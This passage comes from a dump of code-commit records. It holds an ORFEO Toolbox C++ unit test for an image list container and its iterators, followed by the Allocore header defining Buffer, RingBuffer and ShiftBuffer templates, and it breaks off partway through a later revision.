otbControlConditionTestMacro(imageList->GetNthElement(2)!=reader3->GetOutput(),\"SetNthElement\/GetNthElement(2)\");\n\n      \/\/ Testing erase operation\n      imageList->Erase(2);\n      otbControlConditionTestMacro((imageList->Size()!=2)\n\t ||(imageList->GetNthElement(0)!=reader1->GetOutput())\n\t ||(imageList->GetNthElement(1)!=reader2->GetOutput()),\"Erase(3)\");\n\n      \/\/ Testing iterator\n      ImageListType::Iterator iter = imageList->Begin();\n\n      otbControlConditionTestMacro(!(iter!=imageList->End()),\"Iterator\/Begin()!=Iterator\/End()\");\n      unsigned int index = 0;\n      while(iter!=imageList->End())\n\t{\n\t  otbControlConditionTestMacro((index==0)&&(reader1->GetOutput()!=iter.Get()),\"Iterator\/1\/iter.Get()\");\n\t  otbControlConditionTestMacro((index==1)&&(reader2->GetOutput()!=iter.Get()),\"Iterator\/2\/iter.Get()\");\n\t  otbControlConditionTestMacro(index>1,\"Iterator\/OutOfBound\/iter.Get()\");\n\t  ++index;\n\t  ++iter;\n\t}\n    \n      \/\/ Testing const iterator\n      ImageListType::ConstIterator constIter = imageList->Begin();\n      index = 0;\n      while(constIter!=imageList->End())\n\t{\n\t  otbControlConditionTestMacro((index==0)&&(reader1->GetOutput()!=constIter.Get()),\"ConstIterator\/1\/iter.Get()\");\n\t  otbControlConditionTestMacro((index==1)&&(reader2->GetOutput()!=constIter.Get()),\"ConstIterator\/2\/iter.Get()\");\n\t  otbControlConditionTestMacro(index>1,\"ConstIterator\/OutOfBound\/iter.Get()\");\n\t  ++index;\n\t  ++constIter;\n\t}\n\n      \/\/Testing reverse iterator\n      ImageListType::ReverseIterator revIter = imageList->ReverseBegin();\n      otbControlConditionTestMacro(!(revIter!=imageList->ReverseEnd()),\"ReverseIterator\/ReverseBegin()!=ReverseIterator\/ReverseEnd()\");\n\n      index = 0;\n      while(revIter!=imageList->ReverseEnd())\n\t{\n\t  otbControlConditionTestMacro((index==0)&&(reader2->GetOutput()!=revIter.Get()),\"ReverseIterator\/1\/iter.Get()\");\n\t  otbControlConditionTestMacro((index==1)&&(reader1->GetOutput()!=revIter.Get()),\"ReverseIterator\/2\/iter.Get()\");\n\t  otbControlConditionTestMacro(index>1,\"ReverseIterator\/OutOfBound\/iter.Get()\");\n\t  ++index;\n\t  ++revIter;\n\t}\n\n      \/\/Testing const reverse iterator\n      ImageListType::ReverseConstIterator revConstIter = imageList->ReverseBegin();\n      index = 0;\n      while(revConstIter!=imageList->ReverseEnd())\n\t{\n\t  otbControlConditionTestMacro((index==0)&&(reader2->GetOutput()!=revConstIter.Get()),\"ReverseConstIterator\/1\/iter.Get()\");\n\t  otbControlConditionTestMacro((index==1)&&(reader1->GetOutput()!=revConstIter.Get()),\"ReverseConstIterator\/2\/iter.Get()\");\n\t  otbControlConditionTestMacro(index>1,\"ReverseConstIterator\/OutOfBound\/iter.Get()\");\n\t  ++index;\n\t  ++revConstIter;\n\t}\n    \n      \/\/ Testing clear\n      imageList->Clear();\n\n      otbControlConditionTestMacro(imageList->Size()!=0,\"Clear()\");\n\n      \/\/ Testing erase with iterators\n      imageList->PushBack(reader1->GetOutput());\n      imageList->PushBack(reader2->GetOutput());\n      imageList->PushBack(reader3->GetOutput());\n\n      ImageListType::Iterator begin = imageList->Begin()+1;\n      ImageListType::Iterator end = imageList->End();\n      imageList->Erase(begin,end);\n\n      otbControlConditionTestMacro(imageList->Size()!=1,\"Erase(Iterator,Iterator)\/Size()\");\n      otbControlConditionTestMacro(imageList->Back()!=reader1->GetOutput(),\"Erase(Iterator,Iterator)\/Back()\");\n    }\n\n  catch( itk::ExceptionObject & err ) \n    { \n    std::cout << \"Exception itk::ExceptionObject thrown !\" << std::endl; \n    std::cout << err << std::endl; \n    return EXIT_FAILURE;\n    } \n\n  catch( ... ) \n    { \n    std::cout << \"Unknown exception thrown !\" << std::endl; \n    return EXIT_FAILURE;\n    } \n\n  return EXIT_SUCCESS;\n}\n\n<commit_msg>Ajout test sur operator+ et operator- pour iterator<commit_after>\/*=========================================================================\n\n  Program:   ORFEO Toolbox\n  Language:  C++\n  Date:      $Date$\n  Version:   $Revision$\n\n\n  Copyright (c) Centre National d'Etudes Spatiales. All rights reserved.\n  See OTBCopyright.txt for details.\n\n\n     This software is distributed WITHOUT ANY WARRANTY; without even \n     the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR \n     PURPOSE.  See the above copyright notices for more information.\n\n=========================================================================*\/\n#include \"itkExceptionObject.h\"\n\n#include \"otbImageFileReader.h\"\n#include \"otbList.h\"\n#include \"otbImage.h\"\n\n\nint otbList(int argc, char * argv[])\n{\n  try\n    {\n      const char * inputFilename1 = argv[1];\n      const char * inputFilename2 = argv[2];\n      const char * inputFilename3 = argv[3];\n      const unsigned int Dimension = 2;\n\n      typedef unsigned char InputPixelType;\n      typedef otb::Image<InputPixelType,Dimension> InputImageType;\n      typedef otb::ImageFileReader<InputImageType> ReaderType;\n      typedef otb::List<InputImageType> ImageListType;\n\n      \/\/ Reading image 1\n      ReaderType::Pointer reader1 = ReaderType::New();\n      reader1->SetFileName(inputFilename1);\n      reader1->Update();\n\n      \/\/ Reading image 2\n      ReaderType::Pointer reader2 = ReaderType::New();\n      reader2->SetFileName(inputFilename2);\n      reader2->Update();\n\n      \/\/ Reading image 3\n      ReaderType::Pointer reader3 = ReaderType::New();\n      reader3->SetFileName(inputFilename3);\n      reader3->Update();\n\n      \/\/ Instantiating the tested object\n      ImageListType::Pointer imageList = ImageListType::New();\n      \n      \/\/ Testing reserve\/capacity\n      imageList->Reserve(2);\n\n      otbControlConditionTestMacro(imageList->Capacity()!=2,\"Reserve\/Capacity()\");\n\n      \/\/ Testing Size\/Element accessor\n      imageList->PushBack(reader1->GetOutput());\n      imageList->PushBack(reader2->GetOutput());\n\n      otbControlConditionTestMacro(imageList->Size()!=2,\"PushBack\/Size()\");\n      otbControlConditionTestMacro(imageList->GetNthElement(0)!=reader1->GetOutput(),\"PushBack\/GetNthElement(0)\");\n      otbControlConditionTestMacro(imageList->GetNthElement(1)!=reader2->GetOutput(),\"PushBack\/GetNthElement(1)\");\n      otbControlConditionTestMacro(imageList->Front()!=reader1->GetOutput(),\"PushBack\/Front()\");\n      otbControlConditionTestMacro(imageList->Back()!=reader2->GetOutput(),\"PushBack\/Back()\");\n\n      \/\/ Testing resizing and related method \n      imageList->Resize(3);\n       otbControlConditionTestMacro(imageList->Size()!=3,\"Resize\/Size()\");\n      \n      \/\/ Testing explicit setter\n      imageList->SetNthElement(2,reader3->GetOutput());\n\n      otbControlConditionTestMacro(imageList->Size()!=3,\"SetNthElement\/Size()\");\n      otbControlConditionTestMacro(imageList->GetNthElement(2)!=reader3->GetOutput(),\"SetNthElement\/GetNthElement(2)\");\n\n      \/\/ Testing erase operation\n      imageList->Erase(2);\n      otbControlConditionTestMacro((imageList->Size()!=2)\n\t ||(imageList->GetNthElement(0)!=reader1->GetOutput())\n\t ||(imageList->GetNthElement(1)!=reader2->GetOutput()),\"Erase(3)\");\n\n      \/\/ Testing iterator\n      ImageListType::Iterator iter = imageList->Begin();\n\n      otbControlConditionTestMacro(!(iter!=imageList->End()),\"Iterator\/Begin()!=Iterator\/End()\");\n      unsigned int index = 0;\n      while(iter!=imageList->End())\n\t{\n\t  otbControlConditionTestMacro((index==0)&&(reader1->GetOutput()!=iter.Get()),\"Iterator\/1\/iter.Get()\");\n\t  otbControlConditionTestMacro((index==1)&&(reader2->GetOutput()!=iter.Get()),\"Iterator\/2\/iter.Get()\");\n\t  otbControlConditionTestMacro(index>1,\"Iterator\/OutOfBound\/iter.Get()\");\n\t  ++index;\n\t  ++iter;\n\t}\n    \n      \/\/ Testing operator+\n      iter = imageList->Begin();\n      index=0;\n      otbControlConditionTestMacro(imageList->GetNthElement(0) != iter.Get(),\n\t\t\t\t   \"Iterator != GetNthElement(0)\");\n      otbControlConditionTestMacro(imageList->GetNthElement(1) != (iter+1).Get(),\n\t\t\t\t   \"Iterator+1 != GetNthElement(1)\");\n      ++iter;\n      otbControlConditionTestMacro(imageList->GetNthElement(1) != iter.Get(),\n\t\t\t\t   \"Iterator != GetNthElement(1)\");\n      otbControlConditionTestMacro(imageList->GetNthElement(0) != (iter-1).Get(),\n\t\t\t\t   \"Iterator-1 != GetNthElement(0)\");\n      \n      \/\/ Testing const iterator\n      ImageListType::ConstIterator constIter = imageList->Begin();\n      index = 0;\n      while(constIter!=imageList->End())\n\t{\n\t  otbControlConditionTestMacro((index==0)&&(reader1->GetOutput()!=constIter.Get()),\"ConstIterator\/1\/iter.Get()\");\n\t  otbControlConditionTestMacro((index==1)&&(reader2->GetOutput()!=constIter.Get()),\"ConstIterator\/2\/iter.Get()\");\n\t  otbControlConditionTestMacro(index>1,\"ConstIterator\/OutOfBound\/iter.Get()\");\n\t  ++index;\n\t  ++constIter;\n\t}\n\n      \/\/Testing reverse iterator\n      ImageListType::ReverseIterator revIter = imageList->ReverseBegin();\n      otbControlConditionTestMacro(!(revIter!=imageList->ReverseEnd()),\"ReverseIterator\/ReverseBegin()!=ReverseIterator\/ReverseEnd()\");\n\n      index = 0;\n      while(revIter!=imageList->ReverseEnd())\n\t{\n\t  otbControlConditionTestMacro((index==0)&&(reader2->GetOutput()!=revIter.Get()),\"ReverseIterator\/1\/iter.Get()\");\n\t  otbControlConditionTestMacro((index==1)&&(reader1->GetOutput()!=revIter.Get()),\"ReverseIterator\/2\/iter.Get()\");\n\t  otbControlConditionTestMacro(index>1,\"ReverseIterator\/OutOfBound\/iter.Get()\");\n\t  ++index;\n\t  ++revIter;\n\t}\n\n      \/\/Testing const reverse iterator\n      ImageListType::ReverseConstIterator revConstIter = imageList->ReverseBegin();\n      index = 0;\n      while(revConstIter!=imageList->ReverseEnd())\n\t{\n\t  otbControlConditionTestMacro((index==0)&&(reader2->GetOutput()!=revConstIter.Get()),\"ReverseConstIterator\/1\/iter.Get()\");\n\t  otbControlConditionTestMacro((index==1)&&(reader1->GetOutput()!=revConstIter.Get()),\"ReverseConstIterator\/2\/iter.Get()\");\n\t  otbControlConditionTestMacro(index>1,\"ReverseConstIterator\/OutOfBound\/iter.Get()\");\n\t  ++index;\n\t  ++revConstIter;\n\t}\n    \n      \/\/ Testing clear\n      imageList->Clear();\n\n      otbControlConditionTestMacro(imageList->Size()!=0,\"Clear()\");\n\n      \/\/ Testing erase with iterators\n      imageList->PushBack(reader1->GetOutput());\n      imageList->PushBack(reader2->GetOutput());\n      imageList->PushBack(reader3->GetOutput());\n\n      ImageListType::Iterator begin = imageList->Begin()+1;\n      ImageListType::Iterator end = imageList->End();\n      imageList->Erase(begin,end);\n\n      otbControlConditionTestMacro(imageList->Size()!=1,\"Erase(Iterator,Iterator)\/Size()\");\n      otbControlConditionTestMacro(imageList->Back()!=reader1->GetOutput(),\"Erase(Iterator,Iterator)\/Back()\");\n    }\n\n  catch( itk::ExceptionObject & err ) \n    { \n    std::cout << \"Exception itk::ExceptionObject thrown !\" << std::endl; \n    std::cout << err << std::endl; \n    return EXIT_FAILURE;\n    } \n\n  catch( ... ) \n    { \n    std::cout << \"Unknown exception thrown !\" << std::endl; \n    return EXIT_FAILURE;\n    } \n\n  return EXIT_SUCCESS;\n}\n\n<|endoftext|>"}
{"text":"<commit_before>#ifndef INCLUDE_AL_BUFFER_HPP\n#define INCLUDE_AL_BUFFER_HPP\n\n\/*\tAllocore --\n\tMultimedia \/ virtual environment application class library\n\n\tCopyright (C) 2009. AlloSphere Research Group, Media Arts & Technology, UCSB.\n\tCopyright (C) 2012. The Regents of the University of California.\n\tAll rights reserved.\n\n\tRedistribution and use in source and binary forms, with or without\n\tmodification, are permitted provided that the following conditions are met:\n\n\t\tRedistributions of source code must retain the above copyright notice,\n\t\tthis list of conditions and the following disclaimer.\n\n\t\tRedistributions in binary form must reproduce the above copyright\n\t\tnotice, this list of conditions and the following disclaimer in the\n\t\tdocumentation and\/or other materials provided with the distribution.\n\n\t\tNeither the name of the University of California nor the names of its\n\t\tcontributors may be used to endorse or promote products derived from\n\t\tthis software without specific prior written permission.\n\n\tTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n\tAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n\tIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n\tARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE\n\tLIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n\tCONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n\tSUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n\tINTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n\tCONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n\tARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n\tPOSSIBILITY OF SUCH DAMAGE.\n\n\n\tFile description:\n\tVariably sized one-dimensional array\n\n\tFile author(s):\n\tLance Putnam, 2010, putnam.lance@gmail.com\n*\/\n\n#include <algorithm>\n#include <vector>\n\nnamespace al{\n\n\/\/\/ Buffer\n\n\/\/\/ This buffer automatically expands itself as new elements are added.\n\/\/\/ Additionally, its logical size can be reduced without triggering memory\n\/\/\/ deallocations.\n\/\/\/\n\/\/\/ @ingroup allocore\ntemplate <class T, class Alloc=std::allocator<T> >\nclass Buffer : protected Alloc{\n\ttypedef Alloc super;\npublic:\n\n\t\/\/\/ @param[in] size\t\t\tInitial size\n\texplicit Buffer(int size=0)\n\t:\tmElems(size), mSize(size)\n\t{}\n\n\t\/\/\/ @param[in] size\t\t\tInitial size\n\t\/\/\/ @param[in] capacity\t\tInitial capacity\n\tBuffer(int size, int capacity)\n\t:\tmElems(capacity), mSize(size)\n\t{}\n\n\t~Buffer(){}\n\n\n\tint capacity() const { return mElems.size(); }\t\t\/\/\/< Returns total capacity\n\tint size() const { return mSize; }\t\t\t\t\t\/\/\/< Returns size\n\tconst T * elems() const { return &mElems[0]; }\t\t\/\/\/< Returns C pointer to elements\n\tT * elems(){ return &mElems[0]; }\t\t\t\t\t\/\/\/< Returns C pointer to elements\n\n\tT * begin(){ return elems(); }\n\tconst T * begin() const { return elems(); }\n\tT * end(){ return elems() + size(); }\n\tconst T * end() const { return elems() + size(); }\n\n\t\/\/\/ Get element at index\n\tT& operator[](int i){ return mElems[i]; }\n\n\t\/\/\/ Get element at index (read-only)\n\tconst T& operator[](int i) const { return mElems[i]; }\n\n\t\/\/\/ Assign value to elements\n\n\t\/\/\/ This function fills a Buffer with n copies of the given value. Note that\n\t\/\/\/ the assignment completely changes the buffer and that the resulting size\n\t\/\/\/ is the same as the number of elements assigned. Old data may be lost.\n\tvoid assign(int n, const T& v){ mElems.assign(n,v); }\n\n\t\/\/\/ Get last element\n\tT& last(){ return mElems[size()-1]; }\n\tconst T& last() const { return mElems[size()-1]; }\n\n\t\/\/\/ Resets size to zero without deallocating allocated memory\n\tvoid reset(){ mSize=0; }\n\n\t\/\/\/ Resize buffer\n\n\t\/\/\/ This will set both the size and capacity of the buffer to the requested\n\t\/\/\/ size. If the number is smaller than the current size the buffer is\n\t\/\/\/ truncated, otherwise the buffer is extended and new elements are\n\t\/\/\/ default-constructed.\n\tvoid resize(int n){\n\t\tmElems.resize(n);\n\t\tsetSize(n);\n\t}\n\n\t\/\/\/ Set size of buffer\n\n\t\/\/\/ If the requested size is larger than the current capacity, then the\n\t\/\/\/ buffer will be resized.\n\tvoid size(int n){\n\t\tif(capacity() < n) resize(n);\n\t\telse setSize(n);\n\t}\n\n\t\/\/\/ Appends element to end of buffer growing its size if necessary\n\tvoid append(const T& v, double growFactor=2){\n\n\t\t\/\/ Grow array if too small\n\t\tif(size() >= capacity()){\n\t\t\t\/\/ Copy argument since it may be an element in current memory range\n\t\t\t\/\/ which may become invalid after the resize.\n\t\t\tconst T vsafecopy = v;\n\t\t\tmElems.resize((size() ? size() : 4)*growFactor);\n\t\t\tsuper::construct(elems()+size(), vsafecopy);\n\t\t}\n\t\telse{\n\t\t\tsuper::construct(elems()+size(), v);\n\t\t}\n\t\t++mSize;\n\t}\n\t\/\/\/ synonym for append():\n\tvoid push_back(const T& v, double growFactor=2) { append(v, growFactor); }\n\n\t\/\/\/ Append elements of another Buffer\n\n\t\/\/\/ Note: not safe to apply this to itself\n\t\/\/\/\n\tvoid append(const Buffer<T>& src){\n\t\tappend(src.elems(), src.size());\n\t}\n\n\t\/\/\/ Append elements of an array\n\tvoid append(const T * src, int len){\n\t\tint oldsize = size();\n\t\tsize(size() + len);\n\t\tstd::copy(src, src + len, mElems.begin() + oldsize);\n\t}\n\n\t\/\/\/ Repeat last element\n\tvoid repeatLast(){ append(last()); }\n\n\n\t\/\/\/ Insert new elements after each existing element\n\n\t\/\/\/ @tparam n\t\tExpansion factor; new size is n times old size\n\t\/\/\/ @tparam dup\t\tIf true, new elements are duplicates of existing elements.\n\t\/\/\/\t\t\t\t\tIf false, new elements are default constructed.\n\ttemplate <int n, bool dup>\n\tvoid expand(){\n\t\tsize(size()*n);\n\t\tconst int Nd = dup ? n : 1;\n\t\tfor(int i=size()\/n-1; i>=0; --i){\n\t\t\tconst T& v = (*this)[i];\n\t\t\tfor(int j=0; j<Nd; ++j) Alloc::construct(elems()+n*i+j, v);\n\t\t}\n\t}\n\nprivate:\n\tstd::vector<T, Alloc> mElems;\n\tint mSize;\t\t\/\/ logical size array\n\n\tvoid setSize(int n){ mSize=n; }\n};\n\n\n\n\n\/\/\/ Ring buffer\n\n\/\/\/ This buffer allows potentially large amounts of data to be buffered without\n\/\/\/ moving memory. This is accomplished by use of a moving write tap.\n\/\/\/\n\/\/\/ @ingroup allocore\ntemplate <class T, class Alloc=std::allocator<T> >\nclass RingBuffer : protected Alloc {\npublic:\n\n\t\/\/\/ Default constructor; does not allocate memory\n\tRingBuffer(): mPos(-1), mFill(0){}\n\n\t\/\/\/ @param[in] size\t\tnumber of elements\n\t\/\/\/ @param[in] v\t\tvalue to initialize elements to\n\texplicit RingBuffer(unsigned size, const T& v=T())\n\t:\tmPos(size), mFill(0)\n\t{\n\t\tresize(size,v);\n\t}\n\n\n\t\/\/\/ Get number of elements\n\tint size() const { return mElems.size(); }\n\n\t\/\/\/ Get absolute index of most recently written element\n\tint pos() const { return mPos; }\n\n\t\/\/\/ Get fill amount of buffer\n\tint fill() const { return mFill; }\n\n\n\t\/\/\/ Get element at absolute index\n\tT& operator[](int i){ return mElems[i]; }\n\n\t\/\/\/ Get element at absolute index (read-only)\n\tconst T& operator[](int i) const { return mElems[i]; }\n\n\n\t\/\/\/ Obtain next element in buffer\n\n\t\/\/\/ This method returns a reference to the next available element in the\n\t\/\/\/ buffer. This is an alternative to calling write() that does not require\n\t\/\/\/ constructing a new object, but instead returns the oldest element in\n\t\/\/\/ the buffer. The returned reference should be assumed to be in an unknown\n\t\/\/\/ state, thus should be initialized properly.\n\tT& next(){\n\t\tif(mFill < size()) ++mFill;\n\t\t++mPos; if(pos() == size()){ mPos=0; }\n\t\treturn mElems[pos()];\n\t}\n\n\t\/\/\/ Write new element\n\tvoid write(const T& v){\n\t\tAlloc::construct(&next(), v);\n\t}\n\n\t\/\/\/ Get reference to element relative to newest element\n\tT& read(int i){ return mElems[wrapOnce(pos()-i, size())]; }\n\n\t\/\/\/ Get reference to element relative to newest element (read-only)\n\tconst T& read(int i) const { return readFrom(pos(), i); }\n\n\t\/\/\/ Get reference to older element relative to some newer element (read-only)\n\n\t\/\/\/ @param[in] from\t\tabsolute index the read is relative to\n\t\/\/\/ @param[in] dist\t\tdistance into past relative to 'from' of the returned element\n\tconst T& readFrom(int from, int dist) const {\n\t\treturn mElems[wrapOnce(from-dist, size())];\n\t}\n\n\t\/\/\/ \\returns reference to newest element\n\tT& newest(){ return mElems[pos()]; }\n\n\t\/\/\/ \\returns reference to newest element (read-only)\n\tconst T& newest() const { return mElems[pos()]; }\n\n\n\t\/\/\/ Set write position to start of array and zero fill amount\n\tvoid reset(){\n\t\tmPos = size()-1;\n\t\tmFill = 0;\n\t}\n\n\t\/\/\/ Resize buffer\n\n\t\/\/\/ @param[in] n\tnumber of elements\n\t\/\/\/ @param[in] v\tinitialization value of newly allocated elements\n\tvoid resize(int n, const T& v=T()){\n\t\tmElems.resize(n,v);\n\t\tif(mPos >=n) mPos = n-1;\n\t}\n\nprotected:\n\tstd::vector<T, Alloc> mElems;\n\tint mPos;\n\tint mFill;\n\n\t\/\/ Moves value one period closer to interval [0, max)\n\tstatic int wrapOnce(int v, int max){\n\t\tif(v <  0)   return v+max;\n\t\tif(v >= max) return v-max;\n\t\treturn v;\n\t}\n};\n\n\n\n\/\/\/ Constant size shift buffer\n\n\/\/\/ This is a first-in, first-out buffer with a constant number of elements.\n\/\/\/ Adding new elements to the buffer physically moves existing elements. The\n\/\/\/ advantage of moving memory like this is that elements stay logically ordered\n\/\/\/ making access faster and operating on the history easier.\n\/\/\/\n\/\/\/ @ingroup allocore\ntemplate <int N, class T>\nclass ShiftBuffer{\npublic:\n\n\t\/\/\/ @param[in] v\tValue to initialize all elements to\n\tShiftBuffer(const T& v=T()){ assign(v); }\n\n\t\/\/\/ Get number of elements\n\tstatic int size(){ return N; }\n\n\t\/\/\/ Get pointer to elements (read-only)\n\tconst T * elems() const { return &mElems[0]; }\n\n\t\/\/\/ Get pointer to elements\n\tT * elems(){ return &mElems[0]; }\n\n\t\/\/\/ Get reference to element at index\n\tT& operator[](int i){ return mElems[i];}\n\n\t\/\/\/ Get reference to element at index (read-only)\n\tconst T& operator[](int i) const { return mElems[i]; }\n\n\n\t\/\/\/ Push new element onto buffer. Newest element is at index 0.\n\tvoid operator()(const T& v){\n\t\tfor(int i=N-1; i>0; --i) mElems[i] = mElems[i-1];\n\t\tmElems[0]=v;\n\t}\n\n\n\t\/\/\/ Set all elements to argument\n\tvoid assign(const T& v){ for(int i=0;i<N;++i) mElems[i]=v; }\n\n\t\/\/\/ Zero bytes of all elements\n\tvoid zero(){ memset(mElems, 0, N * sizeof(T)); }\n\nprotected:\n\tT mElems[N];\n};\n\n\n\n} \/\/ al::\n\n#endif\n<commit_msg>RingBuffer: add oldest function<commit_after>#ifndef INCLUDE_AL_BUFFER_HPP\n#define INCLUDE_AL_BUFFER_HPP\n\n\/*\tAllocore --\n\tMultimedia \/ virtual environment application class library\n\n\tCopyright (C) 2009. AlloSphere Research Group, Media Arts & Technology, UCSB.\n\tCopyright (C) 2012. The Regents of the University of California.\n\tAll rights reserved.\n\n\tRedistribution and use in source and binary forms, with or without\n\tmodification, are permitted provided that the following conditions are met:\n\n\t\tRedistributions of source code must retain the above copyright notice,\n\t\tthis list of conditions and the following disclaimer.\n\n\t\tRedistributions in binary form must reproduce the above copyright\n\t\tnotice, this list of conditions and the following disclaimer in the\n\t\tdocumentation and\/or other materials provided with the distribution.\n\n\t\tNeither the name of the University of California nor the names of its\n\t\tcontributors may be used to endorse or promote products derived from\n\t\tthis software without specific prior written permission.\n\n\tTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n\tAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n\tIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n\tARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE\n\tLIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n\tCONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n\tSUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n\tINTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n\tCONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n\tARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n\tPOSSIBILITY OF SUCH DAMAGE.\n\n\n\tFile description:\n\tVariably sized one-dimensional array\n\n\tFile author(s):\n\tLance Putnam, 2010, putnam.lance@gmail.com\n*\/\n\n#include <algorithm>\n#include <vector>\n\nnamespace al{\n\n\/\/\/ Buffer\n\n\/\/\/ This buffer automatically expands itself as new elements are added.\n\/\/\/ Additionally, its logical size can be reduced without triggering memory\n\/\/\/ deallocations.\n\/\/\/\n\/\/\/ @ingroup allocore\ntemplate <class T, class Alloc=std::allocator<T> >\nclass Buffer : protected Alloc{\n\ttypedef Alloc super;\npublic:\n\n\t\/\/\/ @param[in] size\t\t\tInitial size\n\texplicit Buffer(int size=0)\n\t:\tmElems(size), mSize(size)\n\t{}\n\n\t\/\/\/ @param[in] size\t\t\tInitial size\n\t\/\/\/ @param[in] capacity\t\tInitial capacity\n\tBuffer(int size, int capacity)\n\t:\tmElems(capacity), mSize(size)\n\t{}\n\n\t~Buffer(){}\n\n\n\tint capacity() const { return mElems.size(); }\t\t\/\/\/< Returns total capacity\n\tint size() const { return mSize; }\t\t\t\t\t\/\/\/< Returns size\n\tconst T * elems() const { return &mElems[0]; }\t\t\/\/\/< Returns C pointer to elements\n\tT * elems(){ return &mElems[0]; }\t\t\t\t\t\/\/\/< Returns C pointer to elements\n\n\tT * begin(){ return elems(); }\n\tconst T * begin() const { return elems(); }\n\tT * end(){ return elems() + size(); }\n\tconst T * end() const { return elems() + size(); }\n\n\t\/\/\/ Get element at index\n\tT& operator[](int i){ return mElems[i]; }\n\n\t\/\/\/ Get element at index (read-only)\n\tconst T& operator[](int i) const { return mElems[i]; }\n\n\t\/\/\/ Assign value to elements\n\n\t\/\/\/ This function fills a Buffer with n copies of the given value. Note that\n\t\/\/\/ the assignment completely changes the buffer and that the resulting size\n\t\/\/\/ is the same as the number of elements assigned. Old data may be lost.\n\tvoid assign(int n, const T& v){ mElems.assign(n,v); }\n\n\t\/\/\/ Get last element\n\tT& last(){ return mElems[size()-1]; }\n\tconst T& last() const { return mElems[size()-1]; }\n\n\t\/\/\/ Resets size to zero without deallocating allocated memory\n\tvoid reset(){ mSize=0; }\n\n\t\/\/\/ Resize buffer\n\n\t\/\/\/ This will set both the size and capacity of the buffer to the requested\n\t\/\/\/ size. If the number is smaller than the current size the buffer is\n\t\/\/\/ truncated, otherwise the buffer is extended and new elements are\n\t\/\/\/ default-constructed.\n\tvoid resize(int n){\n\t\tmElems.resize(n);\n\t\tsetSize(n);\n\t}\n\n\t\/\/\/ Set size of buffer\n\n\t\/\/\/ If the requested size is larger than the current capacity, then the\n\t\/\/\/ buffer will be resized.\n\tvoid size(int n){\n\t\tif(capacity() < n) resize(n);\n\t\telse setSize(n);\n\t}\n\n\t\/\/\/ Appends element to end of buffer growing its size if necessary\n\tvoid append(const T& v, double growFactor=2){\n\n\t\t\/\/ Grow array if too small\n\t\tif(size() >= capacity()){\n\t\t\t\/\/ Copy argument since it may be an element in current memory range\n\t\t\t\/\/ which may become invalid after the resize.\n\t\t\tconst T vsafecopy = v;\n\t\t\tmElems.resize((size() ? size() : 4)*growFactor);\n\t\t\tsuper::construct(elems()+size(), vsafecopy);\n\t\t}\n\t\telse{\n\t\t\tsuper::construct(elems()+size(), v);\n\t\t}\n\t\t++mSize;\n\t}\n\t\/\/\/ synonym for append():\n\tvoid push_back(const T& v, double growFactor=2) { append(v, growFactor); }\n\n\t\/\/\/ Append elements of another Buffer\n\n\t\/\/\/ Note: not safe to apply this to itself\n\t\/\/\/\n\tvoid append(const Buffer<T>& src){\n\t\tappend(src.elems(), src.size());\n\t}\n\n\t\/\/\/ Append elements of an array\n\tvoid append(const T * src, int len){\n\t\tint oldsize = size();\n\t\tsize(size() + len);\n\t\tstd::copy(src, src + len, mElems.begin() + oldsize);\n\t}\n\n\t\/\/\/ Repeat last element\n\tvoid repeatLast(){ append(last()); }\n\n\n\t\/\/\/ Insert new elements after each existing element\n\n\t\/\/\/ @tparam n\t\tExpansion factor; new size is n times old size\n\t\/\/\/ @tparam dup\t\tIf true, new elements are duplicates of existing elements.\n\t\/\/\/\t\t\t\t\tIf false, new elements are default constructed.\n\ttemplate <int n, bool dup>\n\tvoid expand(){\n\t\tsize(size()*n);\n\t\tconst int Nd = dup ? n : 1;\n\t\tfor(int i=size()\/n-1; i>=0; --i){\n\t\t\tconst T& v = (*this)[i];\n\t\t\tfor(int j=0; j<Nd; ++j) Alloc::construct(elems()+n*i+j, v);\n\t\t}\n\t}\n\nprivate:\n\tstd::vector<T, Alloc> mElems;\n\tint mSize;\t\t\/\/ logical size array\n\n\tvoid setSize(int n){ mSize=n; }\n};\n\n\n\n\n\/\/\/ Ring buffer\n\n\/\/\/ This buffer allows potentially large amounts of data to be buffered without\n\/\/\/ moving memory. This is accomplished by use of a moving write tap.\n\/\/\/\n\/\/\/ @ingroup allocore\ntemplate <class T, class Alloc=std::allocator<T> >\nclass RingBuffer : protected Alloc {\npublic:\n\n\t\/\/\/ Default constructor; does not allocate memory\n\tRingBuffer(): mPos(-1){}\n\n\t\/\/\/ @param[in] size\t\tnumber of elements\n\t\/\/\/ @param[in] v\t\tvalue to initialize elements to\n\texplicit RingBuffer(unsigned size, const T& v=T())\n\t:\tmPos(size)\n\t{\n\t\tresize(size,v);\n\t}\n\n\n\t\/\/\/ Get number of elements\n\tint size() const { return mElems.size(); 